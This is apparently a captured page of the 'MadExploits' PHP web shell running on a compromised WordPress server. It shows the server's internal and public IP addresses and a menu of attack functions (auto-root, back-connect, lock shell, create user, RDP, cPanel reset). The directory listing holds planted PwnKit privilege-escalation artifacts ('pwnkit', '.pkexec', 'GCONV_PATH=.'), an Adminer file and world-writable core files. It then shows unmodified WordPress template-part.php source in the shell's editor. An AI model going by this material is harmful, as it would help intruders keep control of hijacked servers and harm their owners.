Linux quad-clini-stageVM 5.4.0-1109-azure #115~18.04.1-Ubuntu SMP Mon May 22 20:06:37 UTC 2023 x86_64
Apache/2.4.29 (Ubuntu)
: 10.2.0.4 | : 3.145.32.238
Cant Read [ /etc/named.conf ]
7.4.25
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
lms /
wp-includes /
blocks /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
archives
[ DIR ]
drwxrwxrwx
audio
[ DIR ]
drwxrwxrwx
avatar
[ DIR ]
drwxrwxrwx
block
[ DIR ]
drwxrwxrwx
button
[ DIR ]
drwxrwxrwx
buttons
[ DIR ]
drwxrwxrwx
calendar
[ DIR ]
drwxrwxrwx
categories
[ DIR ]
drwxrwxrwx
code
[ DIR ]
drwxrwxrwx
column
[ DIR ]
drwxrwxrwx
columns
[ DIR ]
drwxrwxrwx
comment-author-name
[ DIR ]
drwxrwxrwx
comment-content
[ DIR ]
drwxrwxrwx
comment-date
[ DIR ]
drwxrwxrwx
comment-edit-link
[ DIR ]
drwxrwxrwx
comment-reply-link
[ DIR ]
drwxrwxrwx
comment-template
[ DIR ]
drwxrwxrwx
comments
[ DIR ]
drwxrwxrwx
comments-pagination
[ DIR ]
drwxrwxrwx
comments-pagination-next
[ DIR ]
drwxrwxrwx
comments-pagination-numbers
[ DIR ]
drwxrwxrwx
comments-pagination-previous
[ DIR ]
drwxrwxrwx
comments-title
[ DIR ]
drwxrwxrwx
cover
[ DIR ]
drwxrwxrwx
embed
[ DIR ]
drwxrwxrwx
file
[ DIR ]
drwxrwxrwx
freeform
[ DIR ]
drwxrwxrwx
gallery
[ DIR ]
drwxrwxrwx
group
[ DIR ]
drwxrwxrwx
heading
[ DIR ]
drwxrwxrwx
home-link
[ DIR ]
drwxrwxrwx
html
[ DIR ]
drwxrwxrwx
image
[ DIR ]
drwxrwxrwx
latest-comments
[ DIR ]
drwxrwxrwx
latest-posts
[ DIR ]
drwxrwxrwx
legacy-widget
[ DIR ]
drwxrwxrwx
list
[ DIR ]
drwxrwxrwx
list-item
[ DIR ]
drwxrwxrwx
loginout
[ DIR ]
drwxrwxrwx
media-text
[ DIR ]
drwxrwxrwx
missing
[ DIR ]
drwxrwxrwx
more
[ DIR ]
drwxrwxrwx
navigation
[ DIR ]
drwxrwxrwx
navigation-link
[ DIR ]
drwxrwxrwx
navigation-submenu
[ DIR ]
drwxrwxrwx
nextpage
[ DIR ]
drwxrwxrwx
page-list
[ DIR ]
drwxrwxrwx
page-list-item
[ DIR ]
drwxrwxrwx
paragraph
[ DIR ]
drwxrwxrwx
pattern
[ DIR ]
drwxrwxrwx
post-author
[ DIR ]
drwxrwxrwx
post-author-biography
[ DIR ]
drwxrwxrwx
post-author-name
[ DIR ]
drwxrwxrwx
post-comments-form
[ DIR ]
drwxrwxrwx
post-content
[ DIR ]
drwxrwxrwx
post-date
[ DIR ]
drwxrwxrwx
post-excerpt
[ DIR ]
drwxrwxrwx
post-featured-image
[ DIR ]
drwxrwxrwx
post-navigation-link
[ DIR ]
drwxrwxrwx
post-template
[ DIR ]
drwxrwxrwx
post-terms
[ DIR ]
drwxrwxrwx
post-title
[ DIR ]
drwxrwxrwx
preformatted
[ DIR ]
drwxrwxrwx
pullquote
[ DIR ]
drwxrwxrwx
query
[ DIR ]
drwxrwxrwx
query-no-results
[ DIR ]
drwxrwxrwx
query-pagination
[ DIR ]
drwxrwxrwx
query-pagination-next
[ DIR ]
drwxrwxrwx
query-pagination-numbers
[ DIR ]
drwxrwxrwx
query-pagination-previous
[ DIR ]
drwxrwxrwx
query-title
[ DIR ]
drwxrwxrwx
quote
[ DIR ]
drwxrwxrwx
read-more
[ DIR ]
drwxrwxrwx
rss
[ DIR ]
drwxrwxrwx
search
[ DIR ]
drwxrwxrwx
separator
[ DIR ]
drwxrwxrwx
shortcode
[ DIR ]
drwxrwxrwx
site-logo
[ DIR ]
drwxrwxrwx
site-tagline
[ DIR ]
drwxrwxrwx
site-title
[ DIR ]
drwxrwxrwx
social-link
[ DIR ]
drwxrwxrwx
social-links
[ DIR ]
drwxrwxrwx
spacer
[ DIR ]
drwxrwxrwx
table
[ DIR ]
drwxrwxrwx
tag-cloud
[ DIR ]
drwxrwxrwx
template-part
[ DIR ]
drwxrwxrwx
term-description
[ DIR ]
drwxrwxrwx
text-columns
[ DIR ]
drwxrwxrwx
verse
[ DIR ]
drwxrwxrwx
video
[ DIR ]
drwxrwxrwx
widget-group
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
adminer.php
465.43
KB
-rw-r--r--
archives.php
2.89
KB
-rwxrwxrwx
avatar.php
5.31
KB
-rwxrwxrwx
block.php
1.57
KB
-rwxrwxrwx
blocks-json.php
110.42
KB
-rwxrwxrwx
calendar.php
6.03
KB
-rwxrwxrwx
categories.php
2.78
KB
-rwxrwxrwx
comment-author-name.php
2.05
KB
-rwxrwxrwx
comment-content.php
2.36
KB
-rwxrwxrwx
comment-date.php
1.56
KB
-rwxrwxrwx
comment-edit-link.php
1.64
KB
-rwxrwxrwx
comment-reply-link.php
1.99
KB
-rwxrwxrwx
comment-template.php
3.58
KB
-rwxrwxrwx
comments-pagination-next.php
1.8
KB
-rwxrwxrwx
comments-pagination-numbers.ph...
1.56
KB
-rwxrwxrwx
comments-pagination-previous.p...
1.6
KB
-rwxrwxrwx
comments-pagination.php
1.13
KB
-rwxrwxrwx
comments-title.php
2.67
KB
-rwxrwxrwx
comments.php
6.5
KB
-rwxrwxrwx
cover.php
2.43
KB
-rwxrwxrwx
file.php
1.56
KB
-rwxrwxrwx
gallery.php
4.85
KB
-rwxrwxrwx
heading.php
1.23
KB
-rwxrwxrwx
home-link.php
4.74
KB
-rwxrwxrwx
image.php
1.26
KB
-rwxrwxrwx
index.php
779
B
-rwxrwxrwx
latest-comments.php
4.88
KB
-rwxrwxrwx
latest-posts.php
7.43
KB
-rwxrwxrwx
legacy-widget.php
3.81
KB
-rwxrwxrwx
loginout.php
1.35
KB
-rwxrwxrwx
navigation-link.php
11.51
KB
-rwxrwxrwx
navigation-submenu.php
10.77
KB
-rwxrwxrwx
navigation.php
30.54
KB
-rwxrwxrwx
page-list.php
13.14
KB
-rwxrwxrwx
pattern.php
921
B
-rwxrwxrwx
post-author-biography.php
1.41
KB
-rwxrwxrwx
post-author-name.php
1.71
KB
-rwxrwxrwx
post-author.php
2.5
KB
-rwxrwxrwx
post-comments-form.php
2.68
KB
-rwxrwxrwx
post-content.php
2.28
KB
-rwxrwxrwx
post-date.php
1.96
KB
-rwxrwxrwx
post-excerpt.php
2.56
KB
-rwxrwxrwx
post-featured-image.php
7.19
KB
-rwxrwxrwx
post-navigation-link.php
4.37
KB
-rwxrwxrwx
post-template.php
4.06
KB
-rwxrwxrwx
post-terms.php
3.21
KB
-rwxrwxrwx
post-title.php
1.81
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
query-no-results.php
1.76
KB
-rwxrwxrwx
query-pagination-next.php
2.66
KB
-rwxrwxrwx
query-pagination-numbers.php
3.73
KB
-rwxrwxrwx
query-pagination-previous.php
2.12
KB
-rwxrwxrwx
query-pagination.php
1.11
KB
-rwxrwxrwx
query-title.php
2.08
KB
-rwxrwxrwx
query.php
304
B
-rwxrwxrwx
read-more.php
1.75
KB
-rwxrwxrwx
require-dynamic-blocks.php
3.74
KB
-rwxrwxrwx
require-static-blocks.php
543
B
-rwxrwxrwx
rss.php
3.83
KB
-rwxrwxrwx
search.php
19.94
KB
-rwxrwxrwx
shortcode.php
697
B
-rwxrwxrwx
site-logo.php
5.67
KB
-rwxrwxrwx
site-tagline.php
994
B
-rwxrwxrwx
site-title.php
1.73
KB
-rwxrwxrwx
social-link.php
59.56
KB
-rwxrwxrwx
tag-cloud.php
1.37
KB
-rwxrwxrwx
template-part.php
9.43
KB
-rwxrwxrwx
term-description.php
1.27
KB
-rwxrwxrwx
widget-group.php
2.12
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : template-part.php
<?php /** * Server-side rendering of the `core/template-part` block. * * @package WordPress */ /** * Renders the `core/template-part` block on the server. * * @param array $attributes The block attributes. * * @return string The render. */ function render_block_core_template_part( $attributes ) { static $seen_ids = array(); $template_part_id = null; $content = null; $area = WP_TEMPLATE_PART_AREA_UNCATEGORIZED; if ( isset( $attributes['slug'] ) && isset( $attributes['theme'] ) && get_stylesheet() === $attributes['theme'] ) { $template_part_id = $attributes['theme'] . '//' . $attributes['slug']; $template_part_query = new WP_Query( array( 'post_type' => 'wp_template_part', 'post_status' => 'publish', 'post_name__in' => array( $attributes['slug'] ), 'tax_query' => array( array( 'taxonomy' => 'wp_theme', 'field' => 'name', 'terms' => $attributes['theme'], ), ), 'posts_per_page' => 1, 'no_found_rows' => true, ) ); $template_part_post = $template_part_query->have_posts() ? $template_part_query->next_post() : null; if ( $template_part_post ) { // A published post might already exist if this template part was customized elsewhere // or if it's part of a customized template. $content = $template_part_post->post_content; $area_terms = get_the_terms( $template_part_post, 'wp_template_part_area' ); if ( ! is_wp_error( $area_terms ) && false !== $area_terms ) { $area = $area_terms[0]->name; } /** * Fires when a block template part is loaded from a template post stored in the database. * * @since 5.9.0 * * @param string $template_part_id The requested template part namespaced to the theme. * @param array $attributes The block attributes. * @param WP_Post $template_part_post The template part post object. * @param string $content The template part content. */ do_action( 'render_block_core_template_part_post', $template_part_id, $attributes, $template_part_post, $content ); } else { // Else, if the template part was provided by the active theme, // render the corresponding file content. $parent_theme_folders = get_block_theme_folders( get_template() ); $child_theme_folders = get_block_theme_folders( get_stylesheet() ); $child_theme_part_file_path = get_theme_file_path( '/' . $child_theme_folders['wp_template_part'] . '/' . $attributes['slug'] . '.html' ); $parent_theme_part_file_path = get_theme_file_path( '/' . $parent_theme_folders['wp_template_part'] . '/' . $attributes['slug'] . '.html' ); $template_part_file_path = 0 === validate_file( $attributes['slug'] ) && file_exists( $child_theme_part_file_path ) ? $child_theme_part_file_path : $parent_theme_part_file_path; if ( 0 === validate_file( $attributes['slug'] ) && file_exists( $template_part_file_path ) ) { $content = file_get_contents( $template_part_file_path ); $content = is_string( $content ) && '' !== $content ? _inject_theme_attribute_in_block_template_content( $content ) : ''; } if ( '' !== $content && null !== $content ) { /** * Fires when a block template part is loaded from a template part in the theme. * * @since 5.9.0 * * @param string $template_part_id The requested template part namespaced to the theme. * @param array $attributes The block attributes. * @param string $template_part_file_path Absolute path to the template path. * @param string $content The template part content. */ do_action( 'render_block_core_template_part_file', $template_part_id, $attributes, $template_part_file_path, $content ); } else { /** * Fires when a requested block template part does not exist in the database nor in the theme. * * @since 5.9.0 * * @param string $template_part_id The requested template part namespaced to the theme. * @param array $attributes The block attributes. * @param string $template_part_file_path Absolute path to the not found template path. */ do_action( 'render_block_core_template_part_none', $template_part_id, $attributes, $template_part_file_path ); } } } // WP_DEBUG_DISPLAY must only be honored when WP_DEBUG. This precedent // is set in `wp_debug_mode()`. $is_debug = WP_DEBUG && WP_DEBUG_DISPLAY; if ( is_null( $content ) && $is_debug ) { if ( ! isset( $attributes['slug'] ) ) { // If there is no slug this is a placeholder and we dont want to return any message. return; } return sprintf( /* translators: %s: Template part slug. */ __( 'Template part has been deleted or is unavailable: %s' ), $attributes['slug'] ); } if ( isset( $seen_ids[ $template_part_id ] ) ) { return $is_debug ? // translators: Visible only in the front end, this warning takes the place of a faulty block. __( '[block rendering halted]' ) : ''; } // Look up area definition. $area_definition = null; $defined_areas = get_allowed_block_template_part_areas(); foreach ( $defined_areas as $defined_area ) { if ( $defined_area['area'] === $area ) { $area_definition = $defined_area; break; } } // If $area is not allowed, set it back to the uncategorized default. if ( ! $area_definition ) { $area = WP_TEMPLATE_PART_AREA_UNCATEGORIZED; } // Run through the actions that are typically taken on the_content. $content = shortcode_unautop( $content ); $content = do_shortcode( $content ); $seen_ids[ $template_part_id ] = true; $content = do_blocks( $content ); unset( $seen_ids[ $template_part_id ] ); $content = wptexturize( $content ); $content = convert_smilies( $content ); $content = wp_filter_content_tags( $content, "template_part_{$area}" ); // Handle embeds for block template parts. global $wp_embed; $content = $wp_embed->autoembed( $content ); if ( empty( $attributes['tagName'] ) || tag_escape( $attributes['tagName'] ) !== $attributes['tagName'] ) { $area_tag = 'div'; if ( $area_definition && isset( $area_definition['area_tag'] ) ) { $area_tag = $area_definition['area_tag']; } $html_tag = $area_tag; } else { $html_tag = esc_attr( $attributes['tagName'] ); } $wrapper_attributes = get_block_wrapper_attributes(); return "<$html_tag $wrapper_attributes>" . str_replace( ']]>', ']]>', $content ) . "</$html_tag>"; } /** * Returns an array of area variation objects for the template part block. * * @return array Array containing the block variation objects. */ function build_template_part_block_area_variations() { $variations = array(); $defined_areas = get_allowed_block_template_part_areas(); foreach ( $defined_areas as $area ) { if ( 'uncategorized' !== $area['area'] ) { $variations[] = array( 'name' => $area['area'], 'title' => $area['label'], 'description' => $area['description'], 'attributes' => array( 'area' => $area['area'], ), 'scope' => array( 'inserter' ), 'icon' => $area['icon'], ); } } return $variations; } /** * Returns an array of instance variation objects for the template part block * * @return array Array containing the block variation objects. */ function build_template_part_block_instance_variations() { // Block themes are unavailable during installation. if ( wp_installing() ) { return array(); } if ( ! current_theme_supports( 'block-templates' ) && ! current_theme_supports( 'block-template-parts' ) ) { return array(); } $variations = array(); $template_parts = get_block_templates( array( 'post_type' => 'wp_template_part', ), 'wp_template_part' ); $defined_areas = get_allowed_block_template_part_areas(); $icon_by_area = array_combine( array_column( $defined_areas, 'area' ), array_column( $defined_areas, 'icon' ) ); foreach ( $template_parts as $template_part ) { $variations[] = array( 'name' => sanitize_title( $template_part->slug ), 'title' => $template_part->title, // If there's no description for the template part don't show the // block description. This is a bit hacky, but prevent the fallback // by using a non-breaking space so that the value of description // isn't falsey. 'description' => $template_part->description || ' ', 'attributes' => array( 'slug' => $template_part->slug, 'theme' => $template_part->theme, 'area' => $template_part->area, ), 'scope' => array( 'inserter' ), 'icon' => $icon_by_area[ $template_part->area ], 'example' => array( 'attributes' => array( 'slug' => $template_part->slug, 'theme' => $template_part->theme, 'area' => $template_part->area, ), ), ); } return $variations; } /** * Returns an array of all template part block variations. * * @return array Array containing the block variation objects. */ function build_template_part_block_variations() { return array_merge( build_template_part_block_area_variations(), build_template_part_block_instance_variations() ); } /** * Registers the `core/template-part` block on the server. */ function register_block_core_template_part() { register_block_type_from_metadata( __DIR__ . '/template-part', array( 'render_callback' => 'render_block_core_template_part', 'variations' => build_template_part_block_variations(), ) ); } add_action( 'init', 'register_block_core_template_part' );
Close